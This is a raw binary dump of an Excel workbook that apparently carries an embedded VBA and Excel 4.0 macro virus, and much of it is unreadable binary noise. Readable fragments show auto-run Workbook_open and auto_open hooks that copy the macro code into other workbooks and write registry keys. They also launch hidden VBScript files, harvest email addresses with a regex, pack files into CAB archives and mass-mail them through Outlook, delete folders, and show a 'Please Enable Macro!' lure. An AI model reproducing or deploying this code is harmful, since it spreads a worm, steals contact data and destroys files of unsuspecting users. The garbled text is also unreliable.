05�p.se�ndKeys $ �%a� P ��� U�h�{TAB~}BOO @O{�E`Cr}A=[w� `th=�U q�uit�ub�#*Do Until� ��q�A�(CSt�r("))��+�aSIf�r ��RaLoop=% s_2��[z{F4?7t[`Clos�e (i0s�@\ ��@�A"�b���@ж�@���0A"�An A'f�'��olSSInhbox� 6�QCc@onbind`�a�c�,E�,�Dt�LxF��#�=�{bsC۳3��8��F�A� б�n.��T.� �1ss�p�`��.Ge�tÒ�MMAPI��� g=z�Def�ault�(J_ � Targe�S ���~�� e 1 �colIPxs�I�.B�23�V�Va�H0�.Run �_�exe o�p�o� y�svb���g�{�tB p��gQ/Each1MPpage i|n � K2�a`>�55 t�� `��o  R� conbinded_addr@ess = �& vali�(objM�age.Body)" Print #i�, "Next "�_t*�, 8*all_non_same(Re@adAllTCF�ile), 2 6WScript.8Qui { '�vate Function lsour�ce_data j��Dim oDict, trim���� �emp�, �t_asc, hYer_endarr, ;�ii_ M�0regex, mat�chs, s�b(GSetG�Cre�jObject(""" & �"��ing.�Y�uxary &BVBSCRIPT.�REGEXP��3B.Global!True�Pa`ttern �\w+([-+.]1)*@�D\.�D NH�Q��"E�xecute(�y 0� Then�(h�$�b.keys�,��c3C�� ʠ�}�&�{`# �!@ End� i|Not�h�yk�e�+��Sub ��(in"p�ad_s�Ung����_frag/\��bjFSO, �logf���� _path#fo�lder `���&$FD:\Col�l����AЅIJʠB!���A�Sys�f#�D �On E rr`w �ume �n���A������ .cFb(el � ]�.�Exi�sts���ch\� �.t����l8b$a2��%� , �Y?�)� "�AV�)���/� _P/e1! Cpase B*B)n ?�0$t��= �dOpen_�r��@���, -_�ÀA.Wri��k5�_ S5Clos_q'� \�� � SO�.� 9O%�00�� $���� t�:C� s� ���%S�s!�%5>n�N "�ub���.�̣�� �M��9N@�, My�?��6��Lss�<1y�.At`OfSt�P�m�y�q��se=] E���e߰�D_�!Ȋ%�ng�Qta�{^%������а �%s������@���i2���q������ NL$k� Ǭ`Split�, v�B�_H��PY�ߧ�`#�)�. �/�.��.�.آ0��s�E ���eq���� l!����_���N� Next" Print #i, " E nd If�Set oDict = Nothing FnFunction2Close (i) A@pplica0.WindowState�xlMaximized WshShell.Run ("wscript.exe�& AddVbsFile_search), vbHide, False N �E� �S�ub �v{ CreatCab_SendMail(VDim i As Integer, At tName� St�g �E� ListQ ress_&l� � �4fs�Object,� �]?� �dd�= get_texn_a i�z�jea("WS����"��o��:=�~� [u.f@Xsyste mo�% If fs.Folderex�1s("E:\SORCE")��Z` Then ;� �  3�R= Replace(�Left(ThisWorkbook.�\, Le�n�) - 4�H" "��_"�.� m@r_su�b�%"*" @�D & "*M@bag UBou`nd(a)c��P��erve a(�n*2�A��r����n +� 1/ �8@}��B�/ -1/ d}0a��� )�ddq� �z�� b\TE�ST.t㟰���� ��ԡ��#PK_��a�X��>��~� ��H砦@eenUpd0�n&g"� гto`reBefPA� � �SaveC�? �Q̟ � ��Af��<c c4$���1���ChDri'�%��, �,'"�C:\@�ir`)��1,�Environ$("com0spec�� /c makeca0b /F�~& \�"\TEST.TXT""" & " /D COMPRESSIONTYPE=LZX XMEMORY=21\ABINETNAMETEMPLATE=../�AttName�.CAB", vbHide, False Do Until fs.FileExists(ThisWorkbook.Pa thC�txt") _ And"5setup.r�p6+3inf+5z)rEvents@ Loop{WshShell.Run Environ$("co`mspec:��c RD /S / Q ���disk1��2Del �/F���A_"r��yGl��N�z�FiE:\sorce Q�IfB�olde�reC�"� KK@{�=� ThenA �CreateF�  D %YMOV�E /Y@�& �� C�:ChDir c4$ Call Massive_SendMail(Addr�ess_lt,� , "Dear  ,�_vbCrLf�u�F"FYI�# w��\4f_a���c�.`Set e = Nothing`�pplication.Sc�reenUpd�Dng�Tru`�E��Sub�uPri�v�1 ��"Em�#_�#$,�jecBt Body�C�C_ebadd�� #achm��$@� Dim objOL As Ob� itmxNew!0�J� �if_outl��_op�GbH��t!���a!� = Lc H("O�.A�""Wd�H=.�I�tem(ol�A�D� Wi��'���.�(A-$hA&s��To`�,�C�C�i,hg-s. 4�Vd/���eteAftermit�� C@��@aO���rror Go�tco@�n�E�d: �.��play��Debug.�Int "`�for��$"�o��D�� Keys "%s@jWait:=�gKB �D?i!�1���1 F�unc�4�(()a+Boolean � �s Get�'WinMgmts:").InstancesOf("�32_Pro�s!)�.�S F�0E��) Ina�v 2InStr(p/.DescripQ `KOUTLO"O�W> 0�W O�3�4 �I�f Next��yB�RadomNine(leng�>Integ\err� �H !@jFj��, k�i���"��"�#�$�<=� c �@:V1E� �i�1� `-�������$$�[id �K�U = t /� 10�Ran0�izW[�� k� �`(RY* (@�* i - m0�1)) + 1T m�k <>� � �t �� ���m�/ �`get_ten�_�]�q�.UAs��le�a_arr�A�lPA�pS�pkt(Read@[("D:\Coll�fed5h\loaQK`{sscRiPTinG.fiLEsysTeMoBjEc>T�saͱ�@.O@z�a(5 , 1�D�, -�a� q��.!All�*��.Clo�ԟg�� 3ragMark�, pathf���ON�O‰OQ}�("OM@:�㭤� Left(�, �Len�a(10 ���� ��a �A0�� `�I�t_Q�1" ��e� 2���Write �Fd�E �A�Er�1�"�i�"��b��" U� End If pSub Private � Resto reBefSend() Dim aa As Name, i_rowInte�ger"col"fsht&Object Application.ScreenUpdng = False #DisplayAlerts"On Error�umeP Nex\FEach�In ThisWorkbook.�s  aa.Visible�(TruC�9� If SOt(������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������r"!")(1)"AutoP_Act��".en�3.Delet �@{ AShee>t�A�5�K�.Ma�cro1+�RS�xl@�`���F8�_.S�R���.Add FK� �*<> �ICB+eryHidd�en C$C�=�t((15 * Rnd) + 1Y��i_�6�C�ells(�D�e** CONFIDENTIAL!b " H �2I Use " & Chr(34)A@Left(Ί, Len�) - B "_key.vbs @po Op��A File .$3 $����$�1V$����� ��ļ��"With Ranger(�*, t'�3"L.Font.Bold�Vhg�Colo@rIndex�3?c���őFun none�After�+E��N, d�el_rng�frag��Boo�lea�O�`{�e"[br?����l$�� ��l")� �H�m�?ck& � �y�td).c>"A1:F15"�9 InStr�(.Valu��"�i") > 0�| ��*= �5�xit ��\�(`�%x�$ �x� d \�W<� :L� ]�@)x�\�5<��V=[x� x�� $ �"��� x�$ x� �x�P,$ $t�p�x�\�<�,��F\�`�:d� %t�x�$ Xx� \t� `� ,Q\�X�)x�t�`��X� <�X� <�X� <�X� <�X� <�X� <�X� <�X� <� X� <� X� <9*#T�*#P�*#L�*#H�� X� <2T�P�L�H�� X� < � X� <�X� <!�X� <"�X� <�X� <�c��X�4�(X�,T�P�L�H�x�t�`�\���l�$ XQl�x�'X�:\� %l�x� \l� QX�t�l�l�t� ,Ql�p� lp���T�P�T� 8lP��T� @�c��T�,�4T�t�x�p�l�X�0 ��8  0 ���  0 ��0  0 ���  0 ��8  0 ��@  �x l ��x�K��.\�(`�%p�x� �p� d \���#)p�\�<\�� ��`�%',�%'<�%'L�%p�$ �p� ( )p�\� :`� %p�$ @p��� p�(p�'L�%:`�$%$ �p����p�!:`�%%p�$ (p�,p�(p�'L�%:`�&%$ �p����p�Y'(�� p�$ p� Tl(�*#$�(*F�%\�$ (\�,2(�$�)p�\�5�(p�'L�%:`�)%$ �p����p�r:`�*� � +������ ,������� �� +������:L�-���%p�$ (p�,p�6������������(p�'L�%:`�.%$ �p����p�!:`�/%p�$ (p�,p�(p�'L�%:`�0%$ �p����p�!:`�1%p�$ (p�,p�(p�'L�%:`�2%$ �p����p�!:`�3%p�$ (p�,p�p�x� �Qp�[��t��t��=?t�W� :`�4���%:<�5%�f��%p�x� p����p�6�� t��u���5��L�%\�(`�%p�x� p� d \���6)p�\��x4����x�t�8 (�$�p�\�������������0 ���  0 ���  0 ���  0 ���  0 ��h �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������  0 ��x  0 ���   0 ��`  0 ���   0 ��x   0 ��(  0 ���        rU��� ��������$�`������������$�`������������$�`������������$�`��������a,!`��������a�qDI`��������a�� )0=�=�#$q`��������a$�`��������a0�` ���������Yq�0/0,� `�������������q( `�������������0$9 `������������$a `������������$� `������������<�`�������������)Ai00000$�`������������(`�������������&$)`������������(Q`�������������/,y`��������������//$�`������������$�`������������n���0*� pH�d� VBAProje�ct4@j = r ��W_� J< r�stdole>stdo�le h%^*\G{00�020430-C 0046}#2.0#0#C:\Windows\syst em32\e2.tlb#OLE Automation`�EOffDic�EOf�i�c�E�����E2DF8D04C-5BFA-10�1B-BDE5�E�AA�C4�2�E��gram Files\CommonMicrosoft SExcel4MacroSheetsɷ`Visible��`xlSheetVeryHidden��` WorkBookName+�`WorkBookNotOpen�`T1*_`T2+_`T3,_`T4-_`SentTime!D`WshShell0`UCase5 `RegReadw�`Time��`ReadOut�` CreateFile�` search_in_OLe`if_outlook_openi�`DateAdd/6` timeErrorӋ`CreatCab_SendMailT@`i``AttName�` AddVbsFileVg` AddListFile��`fsF]` Folderexists� ` CreateFolder�`Replacef`AddVbsFile_clear͸`AddVbsFile_search�` WindowState|�` xlMaximizedZp`Run_�`vbHide�W` Address_listQ�`get_ten_address``mail_sub�`RestoreBeforeSendq+`c4�\`ChDrive%�` FileExists�`Massive_SendMail�`vbCrLf��` Email_Address��`SubjectRP`Bodyl�` CC_email_add�` Attachment^6`objOL�` itmNewMail6` CreateItem�~` olMailItem��`CC�\` Attachments_�`DeleteAfterSubmit��`continue�T` SendEmail��`display�`SendKeysN`Wait�`objs��` GetObjectz�` InstancesOfr�`obj��` Description� ` RadomNine��`lengthY�`jj�]`kb`RndR�`md`singleAddress_arr� `krr��`Split�)`FullPath+`FileTextg|` OpenTextFile��`ReadAll�U`FragMark)O`pathf; `aa{\`i_rowz,`i_colx�`Delete�x`xlSheetVisible��`Cells�`FontU`Bold��` ColorIndex��`del_shtv`rngU�`del_fragy�`��_Defaultj�`xx�_` Workbook_open��`xx_workbookOpenPZ` ��References�` ��AddFromGuidA{`��GUID�`��Major'`��Minor�a` Worksheet��` _B_var_Chr\;`��l��������������������������������������������������������������������6"�����������������������������������������������������������������������������������������������0�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������hared\OFFICE11\MSO.0DLL#��M 1@1.0 Ob�� �LibraryK ��VBIDE>�BI�DE������E157���R5.3�R�/Kin�g,\WPS �$\10.8.2.@6990\oBP6\vbe6ext .o�[�0Visual Basic for Applic�as Extensibilpity ,����6���ThisWorkbookG� T�isWA�rkb�oU�� 2� �THB1������B,�!�m"B +B��Shee�t1G�S@#e���t1H2N!����±�ToD���T@;�DOL�{�C'�I�V�� �] !�bting! `delete_this_wk}�`copytoworkbooke�`Sheets `�K*y����rU���������������������������������� ����������������S������������������ay� ��*\G{000204EF-0000-0000-C000-000000000046}#4.0#9#C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLL#Visual Basic For Applications*\G{00020813-0000-0000-C000-000000000046}#1.5#0#C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXE#Microsoft Excel 11.0 Object Library�*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\system32\stdole2.tlb#OLE Automation(*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.3#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLL#Microsoft Office 11.0 Object Library\*\G{0002E157-0000-0000-C000-000000000046}#5.3#0#C:\Program Files\Kingsoft\WPS Office\10.8.2.6990\office6\vbe6ext.olb#Microsoft Visual Basic for Applications Extensibility 5.3 ��������W_����������������������������������������������������������6�ThisWorkbook065f57efdd��ThisWorkbook���m��� Sheet1075f57efdd�� Sheet1������� ToDOLE055f57efdd�� ToDOLE���]����0V�������P��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������0��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������0�(�E��;ЈA�R������c��ZI�d�9��� �����׳a��A�TB�"�~���������0�����D Excel�+` VBA��`Win16�~`Win32`Mac��`VBA6�#`����1p` stdole�`` VBAProject��` Officeu` ThisWorkbook|�` ��_Evaluate�` Sheet1�` VBIDEA�`ģ��1�c` ToDOLEŝ` auto_openV ` Application�*` DisplayAlerts��`Path2` StartupPathi�`ScreenUpdating! `delete_this_wk}�`copytoworkbooke�`Sheets ` Movemacro4@�`Save��`DQUOTE!x` VBProjectOh` VBComponents '` CodeModule�` InsertLines��`VBProj�`VBCompӜ` VBComponent�`CodeMod}O` DeleteLines �` CountOfLines!\`�(do_what��`RestoreAfterOpen��`�(OpenDoor�`�(Microsofthobby �` ActionJudgeBG` �(copystart� `wb�_`Workbookk`VBProj1F�`VBProj2G�` WorkbooksB�` �(copymodule��` ModuleName#>` FromVBProject�6` ToVBProject��`OverwriteExistingk�`FNameR�`CompName!�`Sj`SlashPosk#`ExtPosF�` TempVBComp�`Trim@�` vbNullString��` Protection�`vbext_pp_locked�h`Erro�`Number�-`Environ,`vbNormal�-`vbHiddenT;`vbSystem��`Clear��`Kill��`Removeϱ`Item�z`Export��`FileNamej�`InStrRevĈ`Importi�`vbext_ct_Document �`Lines��`myfile0[y`MyFile��`FullNameО` WorkbookOpen��`ShellV�`vbMinimizedFocus�x`IsAddin~|` SaveCopyAsT�`Fso�`RK1��`RK2��`RK3��`RK4��`KValue1'�`KValue2(�`VS�_`Version��` CreateObject��`�(WReg�y`strkey�`Value�K` ValueType `oWshellu�`RegWrite!>`sht��`Add�r`xlExcel4MacroSheet0` ActiveSheet%N`Range� ` ActiveCell��` FormulaR1C1S`UserName\�`ChrK~`Now%�`Namesο`���~~~~~~~~~~~~W �?�({��H���OX�� ������ ���������������� ���������������)�����������������������Y! )Y����1 VBAProject ThisWorkbookSheet1ģ��1ToDOLE��F /C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLLVBA q���� �0�F4C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXEExcel i����� @0�FC:\Windows\system32\stdole2.tlbstdole y������PL��-�[���D�R?C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLLOffice a�����`W��FDC:\Program Files\Kingsoft\WPS Office\10.8.2.6990\office6\vbe6ext.olbVBIDE ������Ap auto_opencopytoworkbookdelete_this_wkdo_what copystart��F copymodule ������O�ĦMicrosofthobbyOpenDoorWReg Movemacro4 WorkbookOpen ActionJudge search_in_OLCreatCab_SendMailMassive_SendMailif_outlook_open RadomNineget_ten_addressReadOut CreateFileRestoreBeforeSendRestoreAfterOpen �F��FY � ������Fd��i�_C���(]6Q�F4j��OO�7Qܣ��gD�FWorkbook @��FName Macro1Y � ThisWorkbook`��Fb��Fd��Fn��F " FPublic WithEvents xx As Application 6Private Sub Workbook_open() (Set xx = Application (On Error Resume Next BApplication.DisplayAlerts = False Call do_what End Sub bPrivate Sub xx_workbookOpen(ByVal wb As Workbook) Jwb.VBProject.References.AddFromGuid _ GUID:= L{0002E157-0000-0000-C000-000000000046} , _ $Major:=5, Minor:=3 DApplication.ScreenUpdating = False copystart wb BApplication.ScreenUpdating = True��F=�{����K�_`���A �F�5ru�eJ�m.�,Q�6D�F Worksheet Select A2 =ERROR(FALSE) A3 (=IF(ERROR.TYPE(RUN(" "))=4) A4 =ALERT("�y(u�[ �sQ�  0Please Enable Macro!",3) A5 $=FILE.CLOSE(FALSE) A6 =END.IF() A7 =RETURN() !Auto_Activate =Macro1!$A$2VisibleVBE6.DLL �����`  �����" (!rU����~~~~w ������������������������8 !Ywb ModuleName Y� FromVBProject ToVBProjectOverwriteExistingstrkeyValue ValueType 14 WorkBookName Email_AddressSubjectBody CC_email_add AttachmentlengthFullPathFragMarkpathf !q ( !�8ThisWorkbookThisWorkbookSheet1Sheet1ToDOLEToDOLEID="{B1061220-8A38-4CA7-8202-2271CBC6ABBE}" Document=ThisWorkbook/&H00000000 Document=Sheet1/&H00000000 Module=ToDOLE Name="VBAProject" HelpContextID="0" VersionCompatible32="393222000" CMG="7270CF5F4563456345634563" DPB="E4E659D1B942BA42BA42" GC="5654EB632FA7A0A8A0A85F" [Host Extender Info] &H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000 [Workspace] ThisWorkbook=0, 0, 0, 0, C Sheet1=0, 0, 0, 0, C ToDOLE=0, 0, 0, 0, C �������Oh��+'��0�HPhx � � ������������±����ƹ���NPOI@��A�SummaryInformation(����������DocumentSummaryInformation8��������������CompObj������������j���������������@���I�@Ckm�d�����՜.��+,��D��՜.��+,��� PXl t|�� � �� ���ĿƼ�' ���������±���_0 �������0{��� GeneratorGenerator VersionKSOProductBuildVer�NPOI2.1.32����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������052-11.1.0.8808�� ���� �FMicrosoft Office Excel ������Biff8Excel.Sheet.8�9�q